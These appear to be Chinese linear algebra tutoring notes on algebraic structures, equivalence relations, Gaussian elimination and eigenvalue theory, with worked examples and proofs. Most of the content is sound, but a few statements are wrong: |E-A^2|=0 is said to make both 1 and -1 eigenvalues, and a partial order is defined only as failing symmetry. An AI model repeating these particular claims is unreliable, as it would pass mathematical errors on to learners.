说白了,代数系统就是把一个集合,以及你能对这个集合中的元素进行什么操作告诉你。
举个例子,我们小学(或者是幼儿园?)学过的整数(\(\mathbf{Z}\))的加法(+)就是一种代数系(\(<\mathbf{Z},+>\))
要注意的是,代数系统上定义的运算必须保证封闭性,也就是运算后的结果必须仍然在集合 \(X\) 中
在整数的加法中,我们有以下运算性质
- 结合律 \((a+b)+c=a+(b+c)\)
- 单位元:存在一个元素 0,使得 \(a+0=0+a=a\);
- 逆元:对于任意\(a\),存在一个元素\(−a\),使得 \(a+(−a)=(−a)+a = 0\) 。\(0\) 为单位元;
- 交换律:\(a+b=b+a\)
平平无奇,对吧,那么我们现在来抽象一下
在集合\(G\)上的运算\(◦\),我们有以下性质
- 结合律 \((a ◦ b) ◦ c=a ◦ (b ◦ c)\)
- 单位元:存在一个元素 \(e\),使得 \(a ◦ e=e ◦ a=a\);
- 逆元:对于任意\(a\),存在一个元素\(\overline{a}\),使得 \(a ◦ \overline{a} = \overline{a} ◦ a = e\) \(e\) 为单位元;
- 交换律:\(a ◦ b=b ◦ a\)
注意上面的定义是抽象的,忽略集合中元素的意义差异(元素可以表示实数,也可以在表示平面向量等几何对象),同时也可以忽略运算定义的差异,只关心运算作用于集合元素的性质.
接下来,我们就可以介绍群,环,域三个代数系统了
群
若运算 ◦ 满足结合律,则称代数系统 \(〈G : ◦〉\) 为半群;若在半群基础上存在单位元, 则称之为含幺半群;若在含幺半群基础上每个元素存在逆元,则称之为群;若在群的 基础上运算还满足交换律,则称之为 Abel 群,也称交换群.
- 群的单位元唯一:若存在两个单位元\(e_1,e_2\),则\(e_1=e_1◦ e_2=e_2\)
- 群中每一个元素逆元唯一:设 \(b\) 和 \(c\) 都是 \(a\) 的逆元,则 \(b = b ◦ e = b ◦ (a ◦ c) = (b ◦ a) ◦ c = e ◦ c = c.\)
环
我们称代数系统 \(〈R : +, ◦〉\) 为一个环,如果
- \(〈R : +〉\) 是交换群,其单位元记作 0;
- \(〈R : ◦〉\) 是幺半群;
- 运算 \(◦\) 对 \(+\) 满足左、右分配律,即
\(a ◦ (b + c) = a ◦ b + a ◦ c\)
\((b + c) ◦ a = b ◦ a + c ◦ a\)
若进一步每个非 0(+ 运算单位元)元素关于 ◦ 都有逆元,则称之为除环. 另外,若 上述定义中 ◦ 运算满足交换律,则称为交换环.
域
我们称代数系统 \(〈F : +, ◦〉\) 为一个域,如果
- \(〈F : +〉\) 是交换群,其单位元记作 0;
- \(〈F^* : ◦〉\) 是交换群;其中\(F^*\)指\(F\)去掉\(+\)的单位元
- 运算 \(◦\) 对 \(+\) 满足左、右分配律,即
\(a ◦ (b + c) = a ◦ b + a ◦ c\)
\((b + c) ◦ a = b ◦ a + c ◦ a\)
我们可以结合一下交换环和除环,在环中定义的\(〈R : ◦〉\) 是幺半群就变成了群,此时,这个交换除环满足所有域的要求,也就是说,交换除环即为域。
关于数域,我们有如下两个结论:
- 数集 \(F\) 对数的加法和乘法构成数域的充要条件为:\(F\) 包含 0,1 且对数的加、减、 乘、除(除数不为 0)运算封闭;
- 任何数域都包含有理数域 \(\mathbf{Q}\),即 \(\mathbf{Q}\) 是最小的数域.
引入了代数结构之后,我们可以把它们暂且理解为一种模型,就像我们高中练了千百道题目之后,提炼出来了一种普遍的做法,在发现许多具体的代数系统的共性之后,我们也可以把它们模型化,而不必重复研究同样的东西了。
等价关系¶
我们时常需要讨论集合中元素之间的关系. 例如直线间的平行、垂直、相交,或是数之间的大于、等于、小于关系.“关系” 将会多次出现在线性代数的学习过程中,因此我们很有必要在此形式化定义这一概念,并强调其中一类特定的关系——等价关系.
从最简单的二元关系开始,在此之前,有必要引入集合的笛卡尔积
Info
设 \(A\) 和 \(B\) 是两个非空集合,我们把集合 \(A × B = \{(a, b) | a ∈ A, b ∈ B\}\) 称为集合 \(A\) 和 \(B\) 的 笛卡尔积.
我们熟悉的平面点集就是一种\(\mathbf{R} \times \mathbf{R}\)的具体表示,空间点集就是一种\(\mathbf{R} \times \mathbf{R} \times \mathbf{R}\)的具体表示
回到我们的二元关系中,在人类\(\times\)人类这个笛卡尔积上,(老师a,学生b)这一有序对定义了一种师生关系,更规范一点,我们可以这样写
那么将人类\(\times\)人类这一集合中所有的师生放在一起,就构成了人类中的师生关系
我们把人类\(\times\)人类抽象为集合\(G \times G\),将师生关系抽象为\(R\)这一种关系。就可以研究更多其它的东西了。
接下来,我们先引出关系中不得不讨论的以下几个性质
自反性: \(\forall a \in G,aRa\),也就是集合中的元素自己和自己满足这种关系,显然师生关系没有这个性质,但是实数上的\(\leqslant\)满足这个性质
对称性 \(a R b \Rightarrow b R a\),例如平行关系
传递性 \(a R b,b R c \Rightarrow a R c\),例如\(\leqslant\)关系
定义
偏序关系:仅不满足对称性的关系叫偏序关系,例如整除关系
等价关系:以上性质全部都满足的关系叫做等价关系
有了等价关系\(R\),我们可以由这个关系对集合进行一些划分
Example
整数域\(Z\)上,模2同余是一种等价关系,在这种关系下,我们可以不用考虑这么多无穷无尽的数字,只需要考虑两种元素,模2余1的元素和模2余0的元素,也就是我们早已熟知的:奇数和偶数
这种划分实在是有效,我们可以把等价的元素装在一起,起名为等价类
等价类
若\(R\)是集合\(G\)上的一个等价关系,若\(a,b \in G,a R b\),则称\(a,b\)等价,所有\(G\)中与\(a\)等价的元素构成的集合可以称为\(a\)所在的等价类 {\(b \in A | bRa\)},可以表示为 \(\overline{a}\)
那么自然想到整数可以划分为{\(\overline{0},\overline{1}\)},其实不取0和1,取2和3也是一样的,只需要取出这个等价类里面的一个代表元就可以了.
最后,我们来一点正式的定义
分划
设 \(R\) 是集合 \(A\) 的等价关系,则由所有不同的等价类构成的子集族 {\(\overline{a}\)} 是 \(A\) 的分划. 反之,我们也可以基于分划在 \(A\) 中定义等价关系.
商集
设 \(R\) 是集合 \(A\) 的等价关系,以关于 \(R\) 的等价类为元素的集合(实际上是集合构成 的集合,又称集族){\(\overline{a}\)} 称为 \(A\) 对 \(R\) 的商集,记为 \(A/R\). 由 \(\pi(a) = a, \forall a ∈ A\) 定义的 \(A\) 到 \(A/R\) 上的映射 \(\pi\) 称为 \(A\) 到 \(A/R\) 上的自然映射.
高斯消元法¶
不就是加加减减,有什么好单独拿出来说的呢(
等你考试解错这个送分题就老实了)
一般的,对于一个由 \(m\) 个方程组成的 \(n\) 元(即变量数为 \(n\))线性方程组
将其系数排列成矩阵
且记\(\vec{b}=(b_1,b_2,\ldots,b_m)^\mathrm{T}\),若 \(\vec{b}=\vec{0}\) 则称此方程为齐次线性方程组,否则为非齐次线性方程组. 再将\(n\)个未知量记为\(n\)元列向量\(X=(x_1,x_2,\ldots,x_n)^\mathrm{T}\),我们便可以把方程组简记为\(AX=\vec{b}\).
Info
T代表转置,也就是要竖着写
令\(\vec{\beta}_i=(a_{1i},a_{2i},\ldots,a_{mi})^\mathrm{T}\),即方程组系数矩阵的某一列,则方程组还可以记为\(x_1\vec{\beta}_1+x_2\vec{\beta}_2+\cdots+x_n\vec{\beta}_n=\vec{b}\),这一形式将在之后多次见到.
在以上的记号下,我们可以将解线性方程组的过程转化为矩阵的初等行变换. 高斯消元法的一般步骤如下:
线性方程组\(\overset{1}{\longrightarrow}\)增广矩阵\(\overset{2}{\longrightarrow}\)阶梯矩阵\(\overset{3}{\longrightarrow}\)(行)简化阶梯矩阵\(\overset{4}{\longrightarrow}\)解
- 步骤一:把矩阵写为\((A,b)\)的形式即可。
- 步骤二:从第一行开始,第一次用第一行消去下面几行的第一个元素,第二次用第二行消去下面几行的第二个,以此类推,做到最后一行只剩一个。
- 步骤三:从最后一行开始,此时最后一行只剩最后一个,用最后一行消去上面所有行的最后一个(如果可能的话),这样倒数第二行只剩一个,继续做下去直到消去不了。
- 步骤四:这里有三种情况
- 无解:如果出现0=常数的情况,那就是无解(不是常数=0)
- 唯一解:简化阶梯矩阵(系数矩阵)是\(n\times n\)的,且没有全0行。后面我们直接可以用系数矩阵可逆(行列式不为0)来直接判断
- 有无用的矩阵,体现为简化阶梯矩阵有全0行,更一般地说,有效方程个数少于未知数的个数,设出自由未知量将其令为\(k_1,k_2,\ldots\),然后代入增广矩阵对应的方程组即可
累了,这一部分就写这么多吧
我不更了,我写LALU去了¶
约 9 个字 预计阅读时间不到 1 分钟
讲义-特征值专题¶
约 8170 个字 预计阅读时间 28 分钟
参考书目:《线性代数:未竟之美》
本讲义用于竺可桢学院线性代数线上辅学课程,奈何本人水平有限,有些地方在课程中可能表述不清晰,还请多多包涵。
引入¶
Quote
线性代数的一大目标是:我们希望找到出发空间和到达空间合适的基使得线性映射在这两组基下的表示更简单(尽可能多的零,尽量向对角矩阵靠近).我们将眼光放在线性变换,即出发空间和到达空间相同的线性映射,并且我们关注 出发空间与到达空间取同一组基的时候,如何取基,可以把同一个线性映射的矩阵尽可能表示得简单 ;
基的转换<->矩阵的转换
从矩阵在不同基下的的表示出发
假设我们有一个在 \(n\) 维线性空间 \(\mathbf{V}\) 上线性变换 \(\sigma\) ,其在基 \(\mathbf{B}=\{\varepsilon_1,\varepsilon_2,\ldots,\varepsilon_n\}\) (\(\mathbf{B}\) 的每个列向量是都是一个基)下的矩阵为 \(A\),即
假设我们很幸运,找到了另外一组基 \(\mathbf{B'}=\{\varepsilon_1',\varepsilon_2',\ldots,\varepsilon_n'\}\),并且已知这个线性映射在这组基下的矩阵很漂亮,是对角的\(\Lambda\),即
如果又恰好知道两组基之间的过渡矩阵
那么我们可以推导出
\(P\)为什么一定可逆?(基之间的互相表示)
继续由上面的式子(1),我们展开,\(p_i\)为矩阵\(P\)的第\(i\)个列向量
展开对应相等
Key-point
这一过程给我们的启发是,如果我们知道\(A\)可以达到的对角化的矩阵是怎么样的,那么可以逆推出变换矩阵,从而找出这组基是怎么样的;上面的\(\lambda_i\),与\(p_i\)就是我们今天要讨论的特征值与特征向量,如何寻找它们就是我们今天的重点;
特征值与特征向量¶
定义¶
Definition
设\(\sigma\)是线性空间\(V(\mathbf{F})\)上的一个线性变换,如果存在数\(\lambda\in\mathbf{F}\)和非零向量\(\xi\in V\)使得\(\sigma(\xi)=\lambda\xi\),则称数\(\lambda\)为\(\sigma\)的一个特征值,并称非零向量\(\xi\)为\(\sigma\)属于其特征值\(\lambda\)的特征向量
同构地,对于矩阵而言,有:
设矩阵\(A\in \mathbf{M}_n(\mathbf{F})\),如果存在数\(\lambda\in\mathbf{F}\)和非零向量\(X\in\mathbf{F}^n\)使得\(AX=\lambda X\),则称数\(\lambda\)为\(A\)的一个特征值,称非零向量\(X\)为\(A\)属于其特征值\(\lambda\)的特征向量.
Property
设 \(\sigma\) 是 \(V(\mathbf{F})\) 上的线性变换,\(I\) 为恒等映射,则下述条件等价:
- \(\lambda \in \mathbf{F}\) 是 \(\sigma\) 的特征值;
- \(\sigma - \lambda I\) 不是单射 \(\Leftrightarrow\) \(A-\lambda E\) 列不满秩;
- \(\sigma - \lambda I\) 不是满射 \(\Leftrightarrow\) \(A-\lambda E\) 行不满秩;
- \(\sigma - \lambda I\) 不可逆 \(\Leftrightarrow\) \(A-\lambda E\) 不可逆(行列式为0)
对于第二第三条的矩阵版本有疑问的同学可以回顾 LALU 相抵标准型一节给出的定理:
线性映射是单射当且仅当其矩阵表示为列满秩矩阵,线性映射是满射当且仅当其矩阵表示为行满秩矩阵.
特征多项式¶
由上述性质,\(\lambda\in\mathbf{F}\)是\(\sigma\)的特征值等价于\(|\lambda E-A|=0\),故我们可以通过\(|\lambda E-A|=0\)求解特征值,其中\(A\)为\(\sigma\)在某组基下的矩阵,\(E\)为单位矩阵. 对于特征向量的求解,求出\((\lambda E-A)X=0\)的非零解就是特征向量在基\(\alpha_1,\ldots,\alpha_n\)下的坐标,如果是矩阵的特征向量,那么\(X\)就是解.
上述求解特征向量的方法需要我们求解\(f(\lambda)=|\lambda E-A|\)的根,我们将\(f(\lambda)\)称为特征多项式;
Example
设\(A=\begin{pmatrix} 1 & -1 & 0 \\ 2 & 0 & 1 \\ 1 & a & 0 \end{pmatrix}\),且存在非零向量\(\alpha\)使得\(A\alpha=2\alpha\),求\(a\).
Answer
由题意知2是矩阵\(A\)的特征值,因此我们有
因此\(a=9\).
特征多项式可以写为以下的形式
对于\(n\)级矩阵\(A=(a_{ij})\),记
则\(a_0=1\),\(a_1=-\mathbf{tr}(A)\) ,\(a_n=(-1)^n|A|\) ,且\(a_k\)等于所有\(k\)级主子式之和乘以\((-1)^k\).
由韦达定理
一元n次韦达定理
设方程 \( a_0 x^n + a_{1} x^{n-1} + \cdots + a_{n-1} x + a_n = 0 \) 有根 \( x_1, x_2, \ldots, x_n \). 那么:
- 各根之和:
- 各根之积:
-
\(\displaystyle\sum_{i=1}^{n}\lambda_i=\sum_{i=1}^{n}a_{ii}\);
-
\(\displaystyle\prod_{i=1}^{n}\lambda_i=|A|\).
相似与特征多项式¶
Question
- 相似矩阵有相同的特征多项式?(从而有相同的迹,行列式,特征值;),即\(A\sim B\)有\(|\lambda E-A|=|\lambda E-B|\)吗?反过来呢?
Answer
设\(B=P^{-1}AP\),则\(|\lambda E-B|=|\lambda E-P^{-1}AP|=|P^{-1}(\lambda E-A)P|=|P^{-1}||\lambda E-A||P|=|\lambda E-A|\). 因此\(A\sim B\)有\(|\lambda E-A|=|\lambda E-B|\).
我们知道特征多项式相同则特征值相同,迹等于所有特征值之和,行列式等于所有特征值之积,因此相似矩阵有相同的迹,行列式,特征值.
- 如果是,那么同一特征值的特征向量之间有什么关系?
Answer
设\(P^{-1}AP=B\),则\(A,B\)分别属于同一特征值\(\lambda\)的特征向量\(X\)和\(Y\)满足\(Y=P^{-1}X\).
由\(AX=\lambda_0 X\)以及\(A=PBP^{-1}\),我们有\(PBP^{-1}X=\lambda_0 X\),即\(BP^{-1}X=\lambda_0 P^{-1}X\),因此\(P^{-1}X\)是\(B\)属于\(\lambda_0\)的特征向量,即\(P^{-1}X\)是\(B\)的特征向量,即\(Y=P^{-1}X\).
回忆基的选择导致同一向量在不同基下的坐标表示,实际上这个问题就是该定理的推论;
同一向量在不同基下的坐标表示
设线性空间\(V\)的两组基为\(B_1\)和\(B_2\),且基\(B_1\)到\(B_2\)的变换矩阵(过渡矩阵)为\(A\),如果\(\xi \in V(\mathbf{F})\)在\(B_1\)和\(B_2\)下的坐标分别为\(X\)和\(Y\),则\(Y=A^{-1}X\).
将过渡矩阵的条件\(B_2=B_1A\),即\((\beta_1,\ldots,\beta_n)=(\alpha_1,\ldots,\alpha_n)A\)代入上式可得:
又由于\(\xi\)在线性无关向量组\(\alpha_1,\ldots,\alpha_n\)下的坐标唯一,故我们有\(X=AY\),即\(Y=A^{-1}X\).
Example
回答以下两个问题:
-
设 \(A,B\) 均为 \(n\) 阶矩阵,证明:\(\lambda\neq 0\) 是 \(AB\) 的特征值,则 \(\lambda\) 也是 \(BA\) 的特征值;
-
设 \(A\in \mathbf{M}_{m\times n}(\mathbf{C}),\enspace B\in \mathbf{M}_{n\times m}(\mathbf{C})\),证明:
并由此推出 \(AB\) 和 \(BA\) 非零特征值相同,且 \(m=n\) 时有 \(|\lambda E-AB|=|\lambda E-BA|\).
Proof
- 设 \(X\) 是 \(AB\) 属于 \(\lambda\) 的特征向量,则 \(ABX=\lambda X\),因此 \(B(ABX)=B(\lambda X)\),即 \((BA)(BX)=\lambda(BX)\),因此 \(BX\) 是 \(BA\) 属于 \(\lambda\) 的特征向量,故 \(\lambda\) 也是 \(BA\) 的特征值。
实际上这里还有一点需要说明,就是 \(BX\neq 0\),否则它将不能作为特征向量。事实上证明是简单的,假设 \(BX=0\),则 \(ABX=0\),由于 \(\lambda\neq 0\),因此必然有 \(X=0\),但这与 \(X\) 是 \(AB\) 属于 \(\lambda\) 的特征向量矛盾,因此 \(BX\neq 0\)。
- 根据分块矩阵初等变换的性质,我们可以通过不断尝试选取到 \(P=\begin{pmatrix} E_m & A \\ O & E_n \end{pmatrix}\),其逆矩阵为 \(P^{-1}=\begin{pmatrix} E_m & -A \\ O & E_n \end{pmatrix}\),我们发现恰有
因此 \(\begin{pmatrix} AB & O \\ B & O \end{pmatrix}\) 与 \(\begin{pmatrix} O & O \\ B & BA \end{pmatrix}\) 相似,因此它们的特征多项式相同,即
根据行列式的计算性质 \(\begin{vmatrix} A & O \\ C & B \end{vmatrix} = |A||B|\),我们有
即 \(\lambda^n|\lambda E_m-AB| = \lambda^m|\lambda E_n-BA|\),因此 \(AB\) 和 \(BA\) 非零特征值相同,且 \(m=n\) 时有 \(|\lambda E-AB|=|\lambda E-BA|\).
对于可逆矩阵\(P\),我们知道了\(A\)与\(B=P^{-1}AP\)有相同的特征值,如果\(P\)不可逆,两个矩阵又有什么关系呢?
我们有以下结论
Property
设\(A,B\)分别为数域\(\mathbf{F}\)上\(n\)阶、\(m\)阶方阵,\(A,B\)有\(r\)个两两不等的公共特征值,则矩阵方程\(AX-XB=O\)有秩为\(r\)的矩阵解. 反之,若数域为复数域,矩阵方程\(AX-XB=O\)有秩为\(r\)的矩阵解,则\(A,B\)至少有\(r\)个公共的特征值(计重数).
证明见 《LALU》.P465
Example
设\(m\)阶矩阵\(A\)与\(n\)阶矩阵\(B\)无公共复特征值,\(C\)为\(m\times n\)矩阵,则矩阵方程\(AX-XB=C\)存在唯一解.
Answer
设\(V\)是所有\(m\times n\)矩阵构成的线性空间,定义\(V\)上的线性变换\(\sigma(X)=AX-XB,\enspace X\in V\). 由于\(A\)和\(B\)无公共复特征值,所以\(\sigma(X)=AX-XB=O\)只有零解,即\(\sigma\)为\(V\)上单射,可知\(\sigma\)是满射且是同构映射. 于是,对任意的\(C\in V\),都存在唯一的\(X_0\in V\)使得\(\sigma(X_0)=C\),即矩阵方程\(AX-XB=C\)存在唯一解\(X_0\).
特征值的性质与结论¶
-
设\(\lambda\)是线性空间\(V(\mathbf{F})\)上的线性变换\(\sigma\)的特征值,\(\xi\)是\(\sigma\)属于\(\lambda\)的特征向量,则
-
\(k\lambda\)是\(k\sigma\)的特征值,\(\lambda^m\)是\(\sigma^m\)的特征值,且\(\xi\)仍是相应特征向量;
-
若\(f(x)=a_nx^n+a_{n-1}x^{n-1}+\cdots+a_1x+a_0\)是\(\mathbf{F}\)上的多项式,则\(f(\sigma)(\xi)=f(\lambda)\xi\);
-
-
设\(\lambda\)是\(n\)阶矩阵\(A\)的特征值,\(A\)可逆,则\(\lambda^{-1}\)是\(A^{-1}\)的特征值,\(|A|\lambda^{-1}\)是\(A\)的伴随矩阵\(A^*\)的特征值,且特征向量不变.
-
设\(A\)为\(n\)阶矩阵,则\(A\)与\(A^\mathrm{T}\)有相同的特征值(含重数).
-
\(A\)可逆/\(A\)不可逆/\(E+A\)可逆/\(4E+A\)不可逆;
-
\(|E-A^2|=0\);
-
\(A^2=E\)(对合)/\(A^2=A\)(幂等)/\(A^k=0\)(幂零);
-
\(A=\lambda_0E+B\)(\(\lambda_0\)为常数,且已知\(B\)的\(n\)个特征值为\(\lambda_1,\lambda_2,\ldots,\lambda_n\));
-
\(A\)为对角块矩阵,即\(A=\mathbf{diag}(A_1,A_2,\ldots,A_m)\).
Proof
1 由于\(\sigma(\xi) = \lambda\xi\),则\((k\sigma)(\xi) = k\lambda\xi\),即\(k\lambda\)是\(k\sigma\)的特征值,\(\xi\)仍是相应特征向量。
而\(\sigma^m(\xi) = \sigma^{m-1}(\sigma(\xi)) = \sigma^{m-1}(\lambda\xi) = \lambda\sigma^{m-1}(\xi) = \cdots = \lambda^m\xi\),即\(\lambda^m\)是\(\sigma^m\)的特征值,\(\xi\)仍是相应特征向量。
2
利用前述\(\sigma^m\)的相关性质,我们有
$$ f(\sigma)(\xi) = (a_n\sigma^n + a_{n-1}\sigma^{n-1} + \cdots + a_1\sigma + a_0I)(\xi) $$
$$ = a_n\sigma^n(\xi) + a_{n-1}\sigma^{n-1}(\xi) + \cdots + a_1\sigma(\xi) + a_0I(\xi) $$
$$ = a_n\lambda^n\xi + a_{n-1}\lambda^{n-1}\xi + \cdots + a_1\lambda\xi + a_0\xi $$
$$ = f(\lambda)\xi. $$
3 设\(\xi\)是\(A\)的特征值,即\(A\xi = \lambda\xi\),则\(\xi = A^{-1}A\xi = A^{-1}\lambda\xi\),即\(A^{-1}\xi = \lambda^{-1}\xi\),因此\(\lambda^{-1}\)是\(A^{-1}\)的特征值,\(\xi\)仍是相应特征向量。
又由于\(A\)可逆时\(A^* = |A|A^{-1}\),根据前面关于\(k\sigma\)和\(A^{-1}\)特征值的讨论可知,\(|A|\lambda^{-1}\)是\(A\)的伴随矩阵\(A^*\)的特征值,\(\xi\)仍是相应特征向量。
4 我们用特征多项式证明。实际情况是,\(A^\mathrm{T}\)的特征多项式为\(|\lambda E - A^\mathrm{T}| = |(\lambda E - A)^\mathrm{T}| = |\lambda E - A|\)(回忆转置不改变行列式),实际上与\(A\)的特征多项式完全一致,因此\(A^\mathrm{T}\)与\(A\)有相同的特征值(含重数)。
5 \(A\)可逆时有 \(|A| = \lambda_1 \cdots \lambda_n \neq 0\),因此\(A\)的特征值都不为0。 同理,\(A\)不可逆同理表明存在特征值等于0,\(E+A\)可逆表明\(-1\)不是\(A\)的特征值,\(4E+A\)不可逆表明\(-4\)是\(A\)的特征值。
6 \(|E - A^2| = |E - A||E + A| = 0\),因此\(\pm 1\)都是\(A\)的特征值。
7 我们首先考虑对合矩阵,接下来的同理可以得到类似结论。由于\(A^2 = E\),设\(AX = \lambda X\),则\(A^2 X = \lambda^2 X = X\),因此\(\lambda^2 = 1\),即\(\lambda = \pm 1\),因此\(1\)或\(-1\)是\(A\)的特征值。
注:本题解决过程中告诉我们一个解题技巧,如果看到\(A\)的多项式\(f(A) = O\)这种形式的表达式,事实上\(A\)的特征值只能是\(f(\lambda) = 0\)的根,如上题中\(f(A) = A^2 - E\),则\(f(\lambda) = \lambda^2 - 1\),因此\(A\)的特征值只能是\(\pm 1\)。
同理,我们可以知道幂等矩阵的特征值只能是0和1,幂零矩阵的特征值只能是0(这是一个重要的幂零矩阵等价条件,未来我们会再次遇到)。
8
设 \(BX = \lambda_i X_i\ (X_i \neq 0,\enspace i = 1,\ldots,n)\),则
$$ AX_i = \lambda_0 X_i + BX_i = \lambda_0 X_i + \lambda_i X_i = (\lambda_0 + \lambda_i) X_i $$
因此\(\lambda_0 + \lambda_i \ (i = 1,\ldots,n)\)都是\(A\)的特征值。
9 证明:
因此,\(A_i,\enspace i = 1,\ldots,m\)的特征值都是\(A\)的特征值。
Example
-
设\(\alpha=(1,0,-1)^\mathrm{T}\),且\(A=\alpha\alpha^\mathrm{T}\),求\(|6E-A^n|\);
-
设\(A\)为三阶矩阵,其特征值为\(1,-2,-1\),求\(|A|\),\(A^*+3E\)的特征值,\((A^{-1})^2+2E\)的特征值以及\(|A^2-A+E|\);
-
设\(A\)为三阶矩阵,\(A^2-A-2E=O\),\(|A|=2\),求\(|A^*+3E|\);
-
设\(A\)为三阶矩阵,其特征值为\(-1,-1,5\),求\(A_{11}+A_{22}+A_{33}\);
Answer
-
事实上\(A=\alpha\alpha^\mathrm{T}=\begin{pmatrix} 1 & 0 & -1 \\ 0 & 0 & 0 \\ -1 & 0 & 1 \end{pmatrix}\),由\(|\lambda E-A|=0\)解得\(A\)的特征值为\(\lambda_1=\lambda_2=0,\lambda_3=2\),而根据\(A^n\)的特征值性质可知,\(6E-A^n\)的特征值为\(6-\lambda_1^n,6-\lambda_2^n,6-\lambda_3^n\),即\(6,6,6-2^n\),因此\(|6E-A^n|=6^2(6-2^n)=36(6-2^n)\).
-
由于\(A\)的特征值为\(1,-2,-1\),因此\(|A|=1\times(-2)\times(-1)=2\),而\(A^*\)的特征值为\(|A|\lambda^{-1}\),因此\(A^*\)的特征值为\(2,-1,-2\),故\(A^*+3E\)的特征值为\(A^*\)的特征值加3(即为\(5,2,1\),又根据\(A^{-1}\)和\(A^2\)特征值的性质可知,\((A^{-1})^2+2E\)的特征值为\(1^2+2,(-1/2)^2+2,(-1)^2+2\),即为\(3,9/4,3\),而\(A^2-A+E\)的特征值根据\(f(\sigma)\)特征值性质的讨论可知为\(1^2-1+1,(-2)^2-(-2)+1,(-1)^2-(-1)+1\),即为\(1,7,3\),因此\(|A^2-A+E|=1\times 7\times 3=21\).
-
设\(AX=\lambda X(X\neq 0)\),则\((A^2-A-2E)X=(\lambda^2-\lambda-2)X=O\),因此\(\lambda=-1\)或\(\lambda=2\),根据对合矩阵的讨论可知,\(A\)的特征值恰为-1和2. 又\(|A|=2\),且\(A\)为3阶矩阵,因此\(A\)的3个特征值必为-1,-1,2.
又\(A^*\)的特征值为\(|A|\lambda^{-1}\),因此\(A^*\)的特征值为\(1,-2,-2\),\(A^*+3E\)的特征值为\(A^*\)的特征值加3,即\(\lambda_1=\lambda_2=1,\lambda_3=4\),故\(|A^*+3E|=\lambda_1\lambda_2\lambda_3=4\).
- 由题意知\(|A|=5\),故\(A^*\)的特征值为\(|A|\lambda^{-1}\)即为\(\mu_1=\mu_2=-5,\mu_3=1\),而\(A_{11}+A_{22}+A_{33}\)就是\(A^*\)的迹(即矩阵对角线元素之和),因此\(A_{11}+A_{22}+A_{33}=\mu_1+\mu_2+\mu_3=-9\).
特征向量与特征子空间的性质¶
-
\(\sigma\)的不同特征值对应的特征向量线性无关;
-
\(\sigma\)的不同特征值对应的特征子空间的和为直和;
-
\(\sigma\)最多有\(\dim V\)个不同的特征值.
有以下推论
Proof
- 设 \(\lambda_1, \ldots, \lambda_m\) 是 \(\sigma\) 的互异特征值,\(\xi_1, \ldots, \xi_m\) 是相应的特征向量。反证法,我们假设 \(\xi_1, \ldots, \xi_m\) 线性相关,由线性相关性引理可知,存在 \(k\) 是使得
成立的最小整数,则存在 \(c_1, \ldots, c_{k-1}\) 使得
$$ \xi_k = c_1\xi_1 + \cdots + c_{k-1}\xi_{k-1}. $$
将 \(\sigma\) 作用到上式两边,我们有
$$ \lambda_k \xi_k = c_1 \lambda_1 \xi_1 + \cdots + c_{k-1} \lambda_{k-1} \xi_{k-1}. $$
将上式两边乘以 \(\lambda_k\),然后减去上式,我们有
$$ 0 = c_1 (\lambda_k - \lambda_1)\xi_1 + \cdots + c_{k-1} (\lambda_k - \lambda_{k-1})\xi_{k-1}. $$
由于我们选取的 \(k\) 是满足 \(\xi_k \in \mathbf{spa}(\xi_1, \ldots, \xi_{k-1})\) 的最小整数,因此 \(\xi_1, \ldots, \xi_{k-1}\) 线性无关,故 \(c_1 = \cdots = c_{k-1} = 0\),因此 \(\xi_k = 0\),这与 \(\xi_k\) 是特征向量矛盾,因此 \(\xi_1, \ldots, \xi_m\) 线性无关。
- 回忆直和的证明方法,我们选取合适等价命题进行证明。假设
$$ \xi_1 + \cdots + \xi_m = 0, $$
其中 \(\xi_i \in V_{\lambda_i}\),由于 \(\sigma\) 的不同特征值对应的特征向量线性无关,因此 \(\xi_1, \ldots, \xi_m\) 不可能是特征向量,否则可知它们线性相关,故必有 \(\xi_1 = \cdots = \xi_m = 0\),这表明 \(\sigma\) 的不同特征值对应的特征子空间的和为直和。
- 设 \(\lambda_1, \ldots, \lambda_m\) 是 \(\sigma\) 的互异特征值,\(\xi_1, \ldots, \xi_m\) 是相应的特征向量。前面已经证明了 \(\xi_1, \ldots, \xi_m\) 线性无关,因此 \(\dim V \geqslant m\),得证。
-
若\(\lambda_1,\ldots,\lambda_m\)是线性映射\(\sigma\)互异的特征值,则\(V_{\lambda_i}\cap\sum\limits_{j\neq i}V_{\lambda_j}=\{0\} \enspace(i=1,\ldots,m)\),则一个特征向量不能属于多个特征值.
-
\(\sigma\)的不同特征值\(\lambda_1,\ldots,\lambda_m\)对应的特征子空间\(V_{\lambda_1},\ldots,V_{\lambda_m}\)的基向量合在一起构成的向量组线性无关,且是\(V_{\lambda_1}+V_{\lambda_2}+\cdots+V_{\lambda_m}\)的基.
Definition
- 代数重数:某一特征值\(\lambda\)的代数重数指重根的个数;
- 几何重数:某一特征值的几何重数指特征向量生成线性空间的维数
若\(\lambda\)是\(\sigma\)的特征值,则\(\lambda\)的代数重数大于等于几何重数
我们思考,如果所有的特征子空间已经是全空间\(V\),那么是否所有向量都是特征向量呢?下面的例子告诉我们不是这样的,事实上,只有当特征值唯一的时候,这个结论才正确:
2013-2014期末
设 \(V(\mathbf{F})\) 是 \(n\) 维线性空间,\(\sigma \in \mathcal{L}(V)\),证明:
- 若 \(\alpha, \beta\) 是 \(\sigma\) 的属于不同特征值的特征向量,则 \(c_1c_2 \neq 0\) 时,\(c_1 \alpha + c_2 \beta\) 不是 \(\sigma\) 的特征向量;
- \(V\) 中的每一非零向量都是 \(\sigma\) 的特征向量 \(\iff \sigma = c_0 I_V\),其中 \(c_0 \in \mathbf{F}\) 是一个常数,\(I_V\) 是恒等变换。
Proof
-
设 \(\sigma(\alpha) = \lambda_1 \alpha, \sigma(\beta) = \lambda_2 \beta\),其中 \(\lambda_1 \neq \lambda_2\),并假设 \(c_1 \alpha + c_2 \beta\) 是 \(\sigma\) 的特征向量,即存在 \(\lambda_0 \in \mathbf{F}\) 使得
$$ \sigma(c_1 \alpha + c_2 \beta) = \lambda_0 (c_1 \alpha + c_2 \beta). $$
展开括号,我们有
$$ c_1 \sigma(\alpha) + c_2 \sigma(\beta) = c_1 \lambda_0 \alpha + c_2 \lambda_0 \beta. $$
即
$$ c_1 \lambda_1 \alpha + c_2 \lambda_2 \beta = c_1 \lambda_0 \alpha + c_2 \lambda_0 \beta, $$
即
$$ (\lambda_1 - \lambda_0) c_1 \alpha + (\lambda_2 - \lambda_0) c_2 \beta = 0. $$
由于 \(\alpha, \beta\) 线性无关,因此
$$ c_1 (\lambda_1 - \lambda_0) = c_2 (\lambda_2 - \lambda_0) = 0. $$
